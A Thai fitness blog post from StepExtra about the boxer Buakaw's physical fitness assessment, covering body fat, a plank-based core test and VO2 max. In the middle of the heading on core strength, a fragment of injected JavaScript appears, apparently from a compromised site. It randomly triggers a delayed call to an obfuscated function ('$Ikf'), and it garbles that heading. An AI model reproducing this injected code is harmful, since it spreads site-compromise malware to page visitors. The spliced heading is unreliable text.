• เกี่ยวกับ STEP EXTRA
STEP EXTRA Run more Spin more
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping
No Result
View All Result
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping
No Result
View All Result
StepExtra
No Result
View All Result
Home Tips & Technics Healthy Tips

Physical Fitness Assessment ของบัวขาว

Kanthad Yangsattha by Kanthad Yangsattha
16 December 2014
in Healthy Tips, News, Tips & Technics, Training
0
บัวขาว
0
SHARES
0
VIEWS
Share on FacebookShare on Twitter

10846420_848993905145036_8581834788107005016_n

เรามาดูกันว่า เราสามารถเรียนรู้เจ้าตัว Physical Fitness Assessment ของบัวขาวเเล้วมาพัฒนาตัวเองอะไรได้บ้าง

1. มารู้จักกับ Body Composition

การวัด Body Composition เป็นเกณฑ์ช่วยให้เราติดตามความแข็งแรงของร่างกาย ในระหว่างออกกำลังกายได้เป็นอย่างดี เพราะตัวเลขบนตาชั่งไม่สามารถบ่งบอกได้ว่าจริง ๆ แล้วเรามีกล้ามเนื้อและไขมันในร่างกายมากน้อยแค่ไหนหากใครเข้าข่ายว่าอ้วนหรือเริ่มอ้วนแล้วก็อย่าลืมดูแลสุขภาพ และควบคุมน้ำหนักตัวให้อยู่ในเกณฑ์ที่เหมาะสม เพื่อป้องกันไม่ให้เกิดปัญหาสุขภาพหลาย ๆ ประการที่สามารถตามมาได้ในอนาคต การวิเคราะห์แยกส่วนประกอบของร่างกายออกเป็น 4 ส่วน คือ ส่วนของน้ำ กล้ามเนื้อ กระดูก และไขมัน ซึ่งช่วยให้ประเมินความอ้วนผอมได้แม่นยำมากขึ้น เอาง่ายๆ ถ้าอยากมี 6-pack อย่างน้อยต้องมีปริมาณไขมันที่ 13% นะครับ เเต่ของพี่บัวขาวเค้าไปที่ 7.2 % เเล้ว.

Fat % : อัตราของไขมันที่มีในร่างกาย ปกติแล้วมีน้อยยิ่งดี แต่เราควรจะมีไขมันติดตัวไว้บ้าง เพราะว่ากระบวนการทำงานของร่างกายต้องการไขมันเช่นกัน ดังนั้นตามการวิจัยได้บอกไว้ว่า % ไขมันที่ควรมีจะเป็นตามตารางนี้

Capture

การควบคุมปริมาณไขมันสามารถทำได้โดยการ ออกกำลัง ความคุมการกินอาหารและการผักผ่อนครับ

2. Core Strengh andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and Endurance test

กล้ามเนื้อ Core Muscle เป็นหัวใจหลักเลยสำหรับทุกประเภทกีฬา การมี Core ที่เเข็งเเรงจะทำให้เราวิ่ง ปั่น ได้นานขึ้นเเละเร็วขึ้น พี่บัวขาวทำได้ 3 นาที ซึ่งถือว่าไม่ไกลเกินเอื้อมสำหรับคนที่อยากเพิ่มศักยภาพให้กับตัวเอง เเค่ Planking สัปดาห์ละ 3-4 ครั้ง จาก 30 วินาทีเเล้วค่อยๆ เพิ่มไปเป็น 1 นาทีเเละเพิ่มขึ้นเรื่อยๆ รับรอง 3 นาทีคุณทำได้เเน่

3. VO2 Max

นอกเหนือจากการฝึก Strength ที่ช่วยป้องกันไม่ให้ร่างกายบาดได้ง่าย มีความเเข็งเเรงของกล้ามเนื้อเเละข้อต่อและความยืดหยุ่นสูงขึ้นเเล้ว เราควรฝึกการออกกำลังกายแบบ Cardio ด้วย เพื่อออกกำลังกายให้ได้นานขึ้น อึดมากขึ้น ยิ่งสำหรับคนชอบวิ่ง ชอบปั่นไม่ควรพลาด ค่า VO2 Max หรือความสามารถในการใช้ออกซิเจน (oxygen consumption or oxygen uptake, VO2) หรือ ความสามารถทางแอโรบิค (aerobic capacity) หมายถึง ความสามารถของร่างกายในการเผาผลาญ
พลังงานโดยใช้ออกซิเจน ซึ่งร่างกายต้องใช้เวลาในการปล่อยพลังงานจากปฏิกริยาที่ใช้ออกซิเจน

การที่ร่างกายจะมีความสามารถทางแอโรบิคได้ดีนั้นต้องอาศัยการทํางานสัมพันธ์กนระหว่างระบบกล้ามเนื้อ ระบบหัวใจและหลอดเลือด และระบบหายใจ ดังนั้นการที่จะวัดความสามารถสูงสุดของความสามารถทางแอโรบิค มักจะต้องให้ร่างกายได้ทํากิจกรรมที่หนักพอ หรือออกกาลังกายที่หนักพอ จึงจัดเป็นการทดสอบด้วยการออกกาลังกายขึ้นมา (exercise testing) ซึ่งทําให้วัดปริมาณของ VO2 ได้ดียิงขึ้น จึงทําให้การวัดความสามารถทางแอโรบิค บางครั้งก็ใช้ในความหมายของการทดสอบด้วยการออกกาลังกายหรือการวัดความทนทานของหัวใจและหลอดเลือด ได้โดยมีวัตถุประสงค์เพื่อวัดค่าปริมาณสูงสุดของการใช้ออกซิเจนของร่างกาย (VO2 max) นั้นเอง

vo2max

Tags: Fitnessบัวขาว
ShareTweetShare
Kanthad Yangsattha

Kanthad Yangsattha

Related Posts

Garmin vivomove - stylish watch with active tracker feature
Gadget News

Garmin vivomove นี่คือ Fitness Tracker ในรูปแบบของนาฬิกาแฟชั่น

6 May 2016
Survive New Year Holiday Weight Gain
Feature

Survive New Year Holiday Weight Gain

26 December 2014
Load More
  • 12.1k Fan
  • 22 Follower
  • 30 Follower

บทความยอดนิยมใน 7 วันนี้

  • วิธีคำนวณ Maximum Heart Rate

    วิธีคำนวณ Maximum Heart Rate

    0 shares
    Share 0 Tweet 0
  • วิตามินและเกลือเเร่ที่สำคัญสำหรับนักปั่นจักรยาน

    0 shares
    Share 0 Tweet 0
  • ไขทุกข้อสงสัยกับ “Snap” สายรัดข้อมือคู่ใจนักปั่น Sky Lane

    0 shares
    Share 0 Tweet 0
  • เล่นวินด์เซิร์ฟ นั่งชิลริมทะเล ตกเย็น ปาร์ตี้ปิ้งย่าง นอนรถบ้าน ณ tutu beach ริมหาดจอมเทียนพัทยา จ.ชลบุรี

    0 shares
    Share 0 Tweet 0
  • 5 กระบวนท่าพื้นฐานฝึกกล้ามเนื้อ Core

    0 shares
    Share 0 Tweet 0
StepExtra

STEP EXTRA

Run more, Spin More

เป็นเว็บไซต์ที่รวบรวมและแบ่งปันเรื่องราวดีๆ เกี่ยวกับสุขภาพและกีฬา ไม่ว่าจะเป็น ข่าวสาร, เรื่องน่ารู้, งานวิ่งแข่งและปั่นจักรยานที่น่าสนใจ พร้อมเกร็ดความรู้ดีๆ ที่ช่วยให้คุณสนุกกับการออกกำลังกาย และฟิตร่างกายได้ดียิ่งขึ้น มาเปลี่ยนตัวเองให้เป็นคนใหม่ที่สดใสยิ่งกว่าเดิมด้วยการออกกำลังกายไปด้วยกันกับเรา

  • เกี่ยวกับเรา
  • ติดต่อลงโฆษณา

บทความล่าสุด

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

9 December 2022
เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

9 March 2021
Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

8 May 2020

Browse by Category

  • Event
    • Cycling Event
    • Running Event
    • Triathlon Event
  • Feature
  • Interview
  • News
    • Cycling News
    • Gadget News
    • Gear News
    • Healthy News
    • PR
    • Running News
    • Shoes
  • Place & Route
    • Cycling
    • Running
  • Reviews
    • Gadget Review
    • Shoes Review
    • Sport Gear
  • Tips & Technics
    • Cycling Tips
    • Gadget Tips
    • Healthy Tips
    • Running Tips
    • Training
  • Travel

Partner

  • Whatphone.net ข่าวมือถือ สมาร์ทโฟน Gadget Games Applications และเทคโนโลยีนำสมัย ทุกแบรนด์ทั่วโลก

© 2014STEP EXTRA

  • ข่าวสาร
  • บทวิจารณ์
  • เกร็ดความรู้
  • สถานที่-เส้นทาง
  • Sport Caravan Camping
No Result
View All Result
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping

© 2023 JNews - Premium WordPress news & magazine theme by Jegtheme.

This website uses cookies. By continuing to use this website you are giving consent to cookies being used. Visit our Privacy and Cookie Policy.